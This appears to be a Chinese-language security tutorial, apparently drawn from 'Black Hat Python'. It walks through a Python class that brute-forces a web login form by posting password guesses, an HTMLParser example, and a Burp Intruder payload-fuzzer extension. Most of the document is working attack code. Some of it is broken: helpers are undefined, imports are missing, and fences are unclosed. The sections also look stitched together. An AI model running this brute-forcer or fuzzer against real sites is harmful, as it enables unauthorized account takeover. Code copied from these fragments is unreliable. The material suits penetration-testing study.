Python 網路安全：暴力破解與 HTML 解析技術

import time
import requests
from queue import Queue

class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        self.session = requests.Session()
        resp0 = self.session.get(self.url)
        params = get_params(resp0.content)
        params['log'] = self.username
        self.params = params

    def run_bruteforce(self, passwords):
        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/password {self.username}/{passwd:<10}')
            self.params['pwd'] = passwd
            resp1 = self.session.post(self.url, data=self.params)
            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s" % self.username)
                print("Password is %s\n" % passwd)
                print('done: now cleaning up other threads. . .')

#### 內容解密：
- 這段程式碼定義了一個名為`Bruter`的類別，用於進行暴力破解攻擊。
- 在初始化時，`__init__`方法會建立一個`Session`物件來管理HTTP請求和Cookie。
- 然後，它會傳送一個GET請求來取得登入表單的HTML內容，並使用`get_params`函式來解析HTML並提取所需的引數。
- `run_bruteforce`方法會迴圈遍歷密碼佇列，並嘗試每個密碼。
- 每次嘗試後，它會傳送一個POST請求來模擬登入行為，並檢查回應內容是否包含成功登入的標誌。

### HTML解析技術

在無法安裝第三方函式庫（如requests和lxml）的情況下，可以使用Python標準函式庫中的`html.parser.HTMLParser`來解析HTML內容。這裡介紹了三個主要方法：`handle_starttag`, `handle_endtag`, 和 `handle_data`。

```python
from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
    def handle_starttag(self, tag, attrs):
        print(f'Start tag: {tag}')
        for attr in attrs:
            print(f'     attr: {attr}')

    def handle_endtag(self, tag):
        print(f'End tag: {tag}')

    def handle_data(self, data):
        print(f'Data: {data}')

#### 內容解密：
- `MyHTMLParser`類別繼承自`HTMLParser`，並重寫了三個主要方法。
- `handle_starttag`方法在遇到開標籤時被呼叫，並列印標籤名稱及其屬性。
- `handle_endtag`方法在遇到閉標籤時被呼叫，並列印標籤名稱。
- `handle_data`方法在遇到標籤之間的文字資料時被呼叫，並列印資料內容。

### Mermaid圖示
此圖示說明瞭暴力破解過程中的請求和回應流程：

```mermaid
sequenceDiagram
    participant U as User
    participant B as Bruter Class
    participant S as Session Object
    U->>B: Initialize Bruter with username and URL
    B->>S: GET login form HTML content
    S-->>B: Return HTML content
    B->>B: Parse HTML to get parameters
    loop Until found or queue empty
        B->>B: Sleep for 5 seconds
        B->>B: Get password from queue
        B->>S: POST request with username and password
        S-->>B: Return response content
        alt Response contains success string
            B->>B: Set found to True and exit loop
        end
    end

/**
 * Extensions can implement this interface and then call
 * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
 * to register a factory for custom Intruder payloads.
 */
public interface IIntruderPayloadGeneratorFactory {
    /**
     * This method is used by Burp to obtain the name of the payload
     * generator. This will be displayed as an option within the
     * Intruder UI when the user selects to use extension-generated
     * payloads.
     *
     * @return The name of the payload generator.
     */
    String getGeneratorName();

    /**
     * This method is used by Burp when the user starts an Intruder
     * attack that uses this payload generator.
     *
     * @param attack
     * An IIntruderAttack object that can be queried to obtain details
     * about the attack in which the payload generator will be used.
     */
    IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);
}

from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArrayList
import random

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.registerIntruderPayloadGeneratorFactory(self)
        return

    def getGeneratorName(self):
        return "BHP Payload Generator"

    def createNewInstance(self, attack):
        return BHPFuzzer(self, attack)

class BHPFuzzer(IIntruderPayloadGenerator):
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        self.max_payloads = 10
        self.num_iterations = 0

    def hasMorePayloads(self):
        if self.num_iterations == self.max_payloads:
            return False
        else:
            return True

    def getNextPayload(self, current_payload):
        payload = "".join(chr(x) for x in current_payload)
        payload = self.mutate_payload(payload)
        self.num_iterations += 1
        return payload.encode()

    def reset(self):
        self.num_iterations = 0

    def mutate_payload(self, payload):
        # 這裡可以新增具體的變異邏輯
        mutation_options = [
            lambda x: x[::-1],            # 反轉字串
            lambda x: x.upper(),          # 轉換為大寫
            lambda x: x.lower(),          # 轉換為小寫
            lambda x: x + random.choice(string.ascii_letters),  # 隨機新增字母
            lambda x: x + str(random.randint(0, 9))           # 隨機新增數字
        ]
        mutation_func = random.choice(mutation_options)
        return mutation_func(payload)